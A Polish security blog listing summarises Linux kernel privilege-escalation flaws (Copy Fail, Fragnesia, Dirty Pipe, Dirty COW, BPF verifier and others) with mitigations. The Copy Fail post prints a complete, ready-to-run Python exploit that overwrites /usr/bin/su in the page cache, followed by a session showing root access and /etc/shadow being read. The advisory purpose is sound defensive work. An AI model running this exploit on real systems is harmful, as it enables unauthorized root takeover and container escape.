NFsec Logo

Fragnesia (CVE-2026-46300) i DirtyDecrypt (CVE-2026-31635)

18/05/2026 (2 dni temu) w Bezpieczeństwo Możliwość komentowania Fragnesia (CVE-2026-46300) i DirtyDecrypt (CVE-2026-31635) została wyłączona

P

odatności zatruwania stron pamięci podręcznej przeżywają aktualnie swoją chwilę sławy. 13 maja publicznie ujawniono kolejną lukę oraz exploit umożliwiający lokalne podniesienie uprawnień w systemie Linux o nazwie Fragnesia. Poprawka dla Dirty Frag wprowadziła sprawdzanie w obsłudze komponentu IPsec – ESP (ang. Encapsulating Security Payload), czy strony bufora są współdzielone ze stronami pamięci podręcznej (ang. page cache) przed wykonaniem odszyfrowania w miejscu (ang. in place). Przypomnijmy, że deszyfracja w miejscu to proces, w którym zaszyfrowane dane są odszyfrowywane i nadpisywane bezpośrednio na tych samych sektorach dysku fizycznego lub buforze pamięci, w których zostały pierwotnie zapisane. Zaletą tego procesu jest jego wydajność i brak wymogu dodatkowej przestrzeni dyskowej, ale wymaga za to ścisłej sekwencyjności operacji wejścia / wyjścia (I/O), aby uniknąć uszkodzenia nieodczytanych jeszcze zaszyfrowanych danych.
[ czytaj całość… ]

Copy Fail (CVE-2026-31431): 732 bajty do przejęcia kontroli nad systemem

30/04/2026 (3 tygodnie temu) w Bezpieczeństwo Możliwość komentowania Copy Fail (CVE-2026-31431): 732 bajty do przejęcia kontroli nad systemem została wyłączona

P

ojawiła się jedna z najbardziej znaczących luk w zabezpieczeniach jądra systemu Linux ostatnich lat. „Copy Fail”, zidentyfikowana jako CVE-2026-31431, pozwala dowolnemu lokalnemu użytkownikowi na uzyskanie uprawnień administratora w niemal każdej popularnej dystrybucji wydanej po 2017 roku. W świecie cyberbezpieczeństwa błędy typu Local Privilege Escalation (LPE) często wymagają skomplikowanych technik, wyścigów procesów (ang. race conditions) lub precyzyjnego dopasowania do konkretnej wersji jądra systemu. „Copy Fail” przełamuje ten schemat. Jest to błąd logiczny, który jest w pełni deterministyczny, nie wymaga „wyścigu” i działa za pomocą krótkiego, 732-bajtowego skryptu w Pythonie, który nie wymaga nawet kompilacji:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=\
a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=\
t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3)\
,],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b061\
0af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e\
10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Rekonstrukcja kodu wymaga usunięcia znaku "\" na końcu linii:

agresor@darkstar:~$ chmod +x sploit.py
agresor@darkstar:~$ ./sploit.py
# id
uid=0(root) gid=1000(agresor) groups=1000(agresor)
# head -1 /etc/shadow
root:*:20135:0:99999:7:::
# head -1 /etc/os-release
PRETTY_NAME="Ubuntu 24.04.2 LTS"

Luka bierze się z nieszczęśliwego splotu trzech niezależnych funkcjonalności jądra, które osobno są bezpieczne, ale razem tworzą krytyczną podatność (coś na wzór chained vulnerability):

  • Interfejs AF_ALG: Pozwala on programom w przestrzeni użytkownika na korzystanie z algorytmów kryptograficznych jądra. Jest on domyślnie dostępny dla nieuprzywilejowanych użytkowników.
  • Funkcja splice(): Służy do wydajnego przesyłania danych między deskryptorami plików bez kopiowania ich do przestrzeni użytkownika.
  • Optymalizacja in-place w AEAD: Wprowadzona w 2017 roku zmiana w pliku algif_aead.c pozwoliła na wykonywanie operacji szyfrowania / deszyfrowania w tym samym obszarze pamięci (źródło i cel są identyczne).

Przebieg ataku jest następujący: otwierane jest gniazdo AF_ALG i wybierany algorytm authencesn (uwierzytelnione szyfrowanie). Następnie używa splice(), aby przesłać dane z pliku systemowego (np. /usr/bin/su), który jest tylko do odczytu, do gniazda kryptograficznego. Błąd polega na tym, że podczas operacji deszyfrowania algorytm authencesn wykonuje tzw. scratch write – zapisuje 4 bajty numeru sekwencyjnego (seqno_lo) do bufora docelowego. Ponieważ dzięki splice() bufor ten wskazuje bezpośrednio na page cache (tutaj: pamięć podręczną stron pamięci) danego pliku w jądrze, system operacyjny nadpisuje fragment pliku w pamięci RAM.

Dlaczego ta luka jest groźna? Ponieważ skrypt działa bez modyfikacji na wielu dystrybucjach (Ubuntu, Amazon Linux, RHEL, SUSE i innych) korzystających z jąder wydanych po 2017 roku. Ponadto modyfikacja prowadząca do eskalacji uprawnień następuje tylko w pamięci RAM (wspomniany page cache), a plik na dysku twardym pozostaje niezmieniony – dlatego tradycyjne narzędzia sprawdzające integralność plików niczego nie wykryją. Ze względu na fakt, że page cache jest współdzielony przez wszystkie procesy na hoście, w tym przez kontenery – oznacza to, że atakujący może przeprowadzić ucieczkę z kontenera i przejąć kontrolę nad całym węzłem (np. w klastrze Kubernetes), modyfikując pamięć podręczną plików systemowych hosta.

Głównym rozwiązaniem jest aktualizacja jądra systemu do wersji zawierającej poprawkę (revert błędnej optymalizacji algif_aead.c do out-of-place). Tymczasowym jest wyłączenie modułu algif_aead:

# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aead 2>/dev/null || true

Dla wielu standardowych systemów nie powinno mieć to negatywnego impaktu na ich działanie. Jeśli jakaś aplikacja używała algif_aead, po jego wyłączeniu po prostu przełączy się na standardowe biblioteki kryptograficzne (np. OpenSSL działający na CPU). W większości przypadków różnica w szybkości jest niezauważalna dla człowieka. W razie wątpliwości możemy za pomocą poleceń:

# lsof | grep AF_ALG
# ss -xa

sprawdzić czy w systemie nie są otwierane gniazda typu aead.

Więcej informacji: copy.fail, Copy Fail: 732 Bytes to Root on Every Major Linux Distribution, Ubuntu CVE-2026-31431, RedHat CVE-2026-31431

Brudny potok – CVE-2022-0847

08/03/2022 w Bezpieczeństwo Możliwość komentowania Brudny potok – CVE-2022-0847 została wyłączona

P

odatność o nazwie Dirty Pipe została znaleziona w jądrze Linuksa od wersji 5.8, a dokładniej od commit’u f6dd975583bd ("pipe: merge anon_pipe_buf*_ops"). W funkcjach copy_page_to_iter_page i push_pipe element "flags" nowej struktury bufora potoku nie był odpowiednio inicjalizowany, przez co mógł zawierać nieaktualne wartości. Luka ta umożliwia nieuprzywilejowanemu użytkownikowi na zapis stron w pamięci podręcznej, a tym samym dowolnych danych do dowolnych plików, nawet jeśli są one w trybie O_RDONLY – tylko do odczytu, immutable (chattr +i) – posiadają atrybut, niepozwalający nawet administratorowi ich modyfikować lub są zamontowane na systemie plików do tylko do odczytu – MS_RDONLY. Dotyczy to także procesów SUID, które są uruchamiane z prawami administratora. Max Kellermann, który jest autorem luki wspomina, że jest ona podobna do CVE-2016-5195Dirty Cow„, ale łatwiej ją wykorzystać. Ze względu na odpowiedzialne ujawnienie podatności została ona załatana już w wersjach jądra: 5.16.11, 5.15.25 oraz 5.10.102.
[ czytaj całość… ]

Powrót Czarodzieja – czyli serwer pocztowy Exim narażony na lokalne i zdalne ataki

13/06/2019 w Bezpieczeństwo Możliwość komentowania Powrót Czarodzieja – czyli serwer pocztowy Exim narażony na lokalne i zdalne ataki została wyłączona

K

rytyczna luka bezpieczeństwa została wykryta przez badaczy z Qualys i występuje w kilku wersjach oprogramowania agenta pocztowego Exim (ang. Mail Transfer Agent). Umożliwia ona na lokalne oraz zdalne ataki nieuwierzytelnionym użytkownikom za pomocą wykonywania dowolnych poleceń (nie mylić z dowolnym wykonywaniem kodu) na serwerach pocztowych. Luka jest obecna w wersji od 4.87 do 4.91 i jest spowodowana niewłaściwą weryfikacją adresów odbiorców w funkcji deliver_message() (źródło znajduje się w pliku: /src/deliver.c):
[ czytaj całość… ]

Błędy w weryfikatorze BPF pozwalają na wykonanie dowolnego kodu w jądrze

22/12/2017 w Bezpieczeństwo Możliwość komentowania Błędy w weryfikatorze BPF pozwalają na wykonanie dowolnego kodu w jądrze została wyłączona

J

ądro Linuksa zbudowane ze wsparciem wywołania systemowego bpf(2) (CONFIG_BPF_SYSCALL) podatne jest na uzyskanie dostępu do odczytu i zapisu przestrzeni adresowej jądra. Do błędu może dojść, gdy użytkownik systemu uruchomi szkodliwy program BPF powodujący błędy obliczeń w module weryfikatora (funkcja check_alu_op) Berkeley Packet Filter. Tym samym nieuprawniony użytkownik może wykorzystać tę lukę do eskalacji swoich uprawnień w systemie. Podatne są wersje jądra od 4.9 do 4.14.8. Ograniczenie luki jest możliwe poprzez ustawienie opcji w sysctl:

echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled

lub

sysctl -w kernel.unprivileged_bpf_disabled=1
echo kernel.unprivileged_bpf_disabled=1 | \
tee /etc/sysctl.d/90-CVE-2017-16995-CVE-2017-16996.conf

Spowoduje ona zablokowanie dostępu do wywołania bpf() dla nieuprawnionych użytkowników (ponowne jej wyłączenie wymagać będzie restartu systemu).

Więcej informacji: Unprivileged bpf(), Debian, RedHat/CentOS, Ubuntu

Stack Clash – kurs kolizyjny pamięci w systemach *nix

20/06/2017 w Bezpieczeństwo 1 komentarz.

Czym jest Stack Clash? Jest to eksploatacja błędu w zarządzaniu pamięci oparta na dość starej (12 letniej) technice. Dotyka ona kilku systemów operacyjnych: Linuksa, OpenBSD, NetBSD, FreeBSD oraz Solarisa dla architektury i386 oraz amd64. Technika ta może zostać wykorzystana przez atakujących do naruszenia bezpieczeństwa pamięci oraz wykonania dowolnego kodu. Polega ona na pewnej zależności: każdy program uruchomiony na komputerze używa specjalnego obszaru pamięci zwanego stosem (ang. stack). Obszar tej pamięci jest szczególny, ponieważ rośnie automatycznie wraz z zapotrzebowaniem na niego przez program. Jeśli jednak przyrost jest zbyt duży i zbliży się do innego obszaru pamięci (na przykład sterty – ang. heap) może dojść do sytuacji, w której program może pomylić stos z innym obszarem pamięci. Daje to możliwość wykorzystania owego zamieszania do nadpisania stosu przez inny obszary pamięci lub odwrotnie.
[ czytaj całość… ]

Dirty COW – lokalne podniesienie uprawnień poprzez lukę w jądrze

21/10/2016 w Bezpieczeństwo Możliwość komentowania Dirty COW – lokalne podniesienie uprawnień poprzez lukę w jądrze została wyłączona

9

letni błąd w jądrze systemu Linux pozwala na lokalne podniesienie uprawień poprzez sytuację wyścigu w sposobie, w jaki podsystem pamięci obsługuje kopiowanie przy zapisie (Copy On Write – COW). Nieuprzywilejowany użytkownik może wykorzystać tę lukę, aby zdobyć dostęp do zapisu zmapowanej pamięci będącej normalnie tylko do odczytu i tym samym podnieść swoje uprawnienia. Skutkuje to możliwością obejścia standardowego mechanizmu uprawnień oraz modyfikacją wrażliwych plików binarnych systemu. Błąd istnieje od 2007 roku, czyli mniej więcej od wersji 2.6.22 i został naprawiony 18.10.2016. Luka nadal mogła zostać w ukryciu, gdyby nie Phil Oester, który przeanalizował włamanie na jeden ze swoich serwerów (przechwytywał cały, przychodzący ruch do swoich webserwerów – jak twierdzi zawsze to pomaga w informatyce śledczej) i odtworzył binarny plik eksploita użytego przez włamywacza. Przeanalizował jego działanie i przekazał oficjalnym opiekunom jądra Linuksa. PoCe znajdują się tutaj.

Więcej informacji: Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel

Pakiety Tomcat podatne na lokalne podniesienie uprawień w Debianowych dystrybucjach

01/10/2016 w Bezpieczeństwo 1 komentarz.

P

akiety zawierające serwer Tomcat (w wersji 6, 7, 8) dostępne w oficjalnych repozytoriach systemów Linux opartych o dystrybucje Debian (wliczając w to Ubuntu) dostarczały podatny skrypt init pozwalający osobom atakującym, które przeniknęły do systemu na konto użytkownika tomcat (na przykład wcześniej eksplorując podatność zdalnego wykonania kodu w hostowanej aplikacji java) na podniesienie uprawnień do użytkownika root i w pełni skompromitować atakowany system. Autor luki powiadomił Debian Security Team i zostały wydane już odpowiednie aktualizacje bezpieczeństwa.

Jeśli pozostajemy w obszarze serwera tomcat warto również zapoznać się z możliwością odczytywania źródłowego kodu za pomocą tego serwera wykorzystując znaki kodowane procentowo.

Więcej informacji: Szczegóły ataku oraz exploit wykorzystujący podatność